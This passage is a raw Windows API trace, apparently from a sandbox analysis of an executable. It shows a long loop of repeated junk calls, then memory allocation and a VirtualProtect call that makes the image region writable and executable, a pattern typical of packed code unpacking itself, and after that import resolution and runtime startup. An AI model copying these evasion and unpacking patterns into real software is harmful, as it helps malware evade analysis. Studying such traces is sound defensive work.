lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.446] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.446] AddAtomA (lpString=0x0) returned 0x0 [0054.446] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.447] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.447] AddAtomA (lpString=0x0) returned 0x0 [0054.447] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.448] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.448] AddAtomA (lpString=0x0) returned 0x0 [0054.448] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.449] AddAtomA (lpString=0x0) returned 0x0 [0054.449] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.449] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.450] AddAtomA (lpString=0x0) returned 0x0 [0054.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.450] AddAtomA (lpString=0x0) returned 0x0 [0054.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.450] AddAtomA (lpString=0x0) returned 0x0 [0054.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.450] AddAtomA (lpString=0x0) returned 0x0 [0054.450] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.450] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.470] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.470] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0054.471] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0054.471] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0054.471] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0054.471] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.471] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.471] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0054.471] SetErrorMode (uMode=0x400) returned 0x0 [0054.471] SetErrorMode (uMode=0x0) returned 0x400 [0054.471] GetVersionExA (in: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0054.471] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0054.473] VirtualProtect (in: lpAddress=0x400000, dwSize=0x23000, flNewProtect=0x40, lpflOldProtect=0x18e5a8 | out: lpflOldProtect=0x18e5a8*=0x2) returned 1 [0054.787] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.788] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0054.788] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0054.788] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0054.788] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0054.789] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0054.790] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0054.791] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0054.792] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0054.793] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0054.793] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0054.793] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0054.793] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.793] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="InvalidateRect") returned 0x74f61381 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="wsprintfW") returned 0x74f7e061 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="DrawIcon") returned 0x74f68deb [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="FillRect") returned 0x74f60eb6 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="GetDlgItem") returned 0x74f7f1ba [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="EndPaint") returned 0x74f61341 [0054.793] GetProcAddress (hModule=0x74f40000, lpProcName="BeginPaint") returned 0x74f61361 [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="DialogBoxParamW") returned 0x74f7cfca [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="MoveWindow") returned 0x74f63698 [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="GetClientRect") returned 0x74f60c62 [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDialogParamW") returned 0x74f810dc [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="SetWindowPos") returned 0x74f58e4e [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0054.794] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateAcceleratorW") returned 0x74f61246 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="LoadAcceleratorsW") returned 0x74f64dd6 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="LoadStringW") returned 0x74f58eb9 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="LoadIconW") returned 0x74f5b142 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="GetMonitorInfoW") returned 0x74f63000 [0054.795] GetProcAddress (hModule=0x74f40000, lpProcName="MonitorFromWindow") returned 0x74f63150 [0054.795] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0054.795] GetProcAddress (hModule=0x75ad0000, lpProcName="TextOutW") returned 0x75aed41c [0054.795] GetProcAddress (hModule=0x75ad0000, lpProcName="SetBkMode") returned 0x75ae51a2 [0054.795] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0054.795] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontW") returned 0x75aeb600 [0054.795] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0054.796] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateSolidBrush") returned 0x75ae4f17 [0054.796] GetProcAddress (hModule=0x75ad0000, lpProcName="SetTextAlign") returned 0x75ae8401 [0054.796] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74820000 [0054.888] GetProcAddress (hModule=0x74820000, lpProcName="InitCommonControlsEx") returned 0x748409ce [0054.888] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0054.890] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0054.890] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0054.892] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0054.893] atexit (param_1=0x5a63c8) returned 0 [0054.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e5ac | out: lpSystemTimeAsFileTime=0x18e5ac*(dwLowDateTime=0x8ea922e0, dwHighDateTime=0x1d56c59)) [0054.893] GetCurrentThreadId () returned 0xae0 [0054.893] GetCurrentProcessId () returned 0xadc [0054.893] QueryPerformanceCounter (in: lpPerformanceCount=0x18e5a4 | out: lpPerformanceCount=0x18e5a4*=17515243951) returned 1 [0054.901] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.901] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.901] GetLastError () returned 0x57 [0054.902] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.902] GetLastError () returned 0x57 [0054.902] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0054.902] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.902] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.902] GetLastError () returned 0x57 [0054.902] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.902] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.904] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.904] GetLastError () returned 0x57 [0054.904] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.904] GetLastError () returned 0x57 [0054.904] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0054.904] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.905] GetProcessHeap () returned 0x590000 [0054.905] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.905] GetLastError () returned 0x57 [0054.905] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.905] GetLastError () returned 0x57 [0054.905] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.905] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x364) returned 0x5bb9c0 [0054.905] SetLastError (dwErrCode=0x57) [0054.905] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xc00) returned 0x5bbd30 [0054.906] GetStartupInfoW (in: lpStartupInfo=0x18e4e0 | out: lpStartupInfo=0x18e4e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", 